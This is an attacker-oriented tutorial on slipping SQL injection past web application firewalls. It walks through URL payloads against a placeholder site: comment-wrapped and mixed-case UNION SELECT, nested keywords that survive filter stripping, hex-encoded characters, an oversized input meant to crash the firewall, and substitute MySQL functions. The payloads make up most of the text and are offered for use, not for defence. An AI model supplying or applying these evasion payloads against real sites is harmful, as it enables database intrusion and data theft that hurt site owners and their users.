Tutorial WAF Bypassing SQLi

What is WAF?

WAF stands for Web Application Firewall. It is widely used nowadays to detect and defend SQL Injections!

Let’s Begin!

How to know if there is a Web Application Firewall?

This is pretty simple! When you try to enter a command used for SQL Injections (usually the “UNION SELECT” command), you get an 403 Error (and the website says “Forbidden” or “Not Acceptable”).
Example:

http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4….
(We get a 403 Error!)

Basic/Simple Methods:

First, of course, we need to know the Basic Methods to bypass WAF…

1) Comments: 
You can use comments to bypass WAF:

http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
(First Method that can Bypass WAF)

However, most WAF identify this method so they still show a “Forbidden” Error…

2) Change the Case of the Letters: 
You can also change the Case of the Command:

http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
(Another Basic Method to Bypass WAF!)

However, as before, this trick is also detected by most WAF!

3) Combine the previous Methods: 
What you can also do is to combine the previous two methods:

http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

This method is not detectable by many Web Application Firewalls! 
4) Replaced Keywords: 
Some Firewalls remove the “UNION SELECT” Statement when it is found in the URL… We can do this to exploit this function:

http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
(The “union” and the “select” will be removed, so the final result will be: “UNION SELECT” )

This method doesn’t work on ALL Firewalls, as only some of them remove the “UNION” and the “SELECT” commands when they are detected! 
5) Inline Comments:
Some firewalls get bypassed by Inserting Inline Comments between the “Union” and the “Select” Commands:

http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
(The %55 is equal to “U” and %53 to “S”. See more on the Advanced Section….)

I believe that these are the most basic Methods to WAF Bypassing! Let’s move on more advanced ones…

Advanced Methods:

Now that you have learned about Basic WAF Bypassing, I think it is good to understand more advanced Methods!

1) Buffer Overflow / Firewall Crash: 
Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow!

http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
(( You can test if the WAF can be crashed by typing:
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
If you get a 500, you can exploit it using the Buffer Overflow Method! ))

2) Replace Characters with their HEX Values: 
We can replace some characters with their HEX (URL-Encoded) Values.
Example:

http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
(which means “union select”)

Text to Hex Encoder (Choose the “Hex Encoded for URL” result!):http://www.swingnote.com/tools/texttohex.php

3) Use other Variables or Commands instead of the common ones for SQLi: 
Apart from the “UNION SELECT” other commands might be blocked.
Common Commands Blocked:

 COMMAND | WHAT TO USE INSTEAD
@@version       | version()
concat()           | concat_ws()  --> Difference between concat() and concat_ws():  http://is.gd/VEeiDU 
group_concat() | concat_ws() 

Learning MySQL Really helps on such issues!

4) Misc Exploitable Functions: 
Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):
Example:

This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4&#8230 ;
(If the Firewall removes the “*”, the result will be: 15+union+select….)
So, if you find such a silly function, you can exploit it, in this way!

[+] In addition to the previous example, some other bypasses might be: 

-15+(uNioN)+(sElECt)….
-15+(uNioN+SeleCT)+…
-15+(UnI)(oN)+(SeL)(ecT)+….
-15+union (select 1,2,3,4…)

Video Tutorial on WAF Bypassing: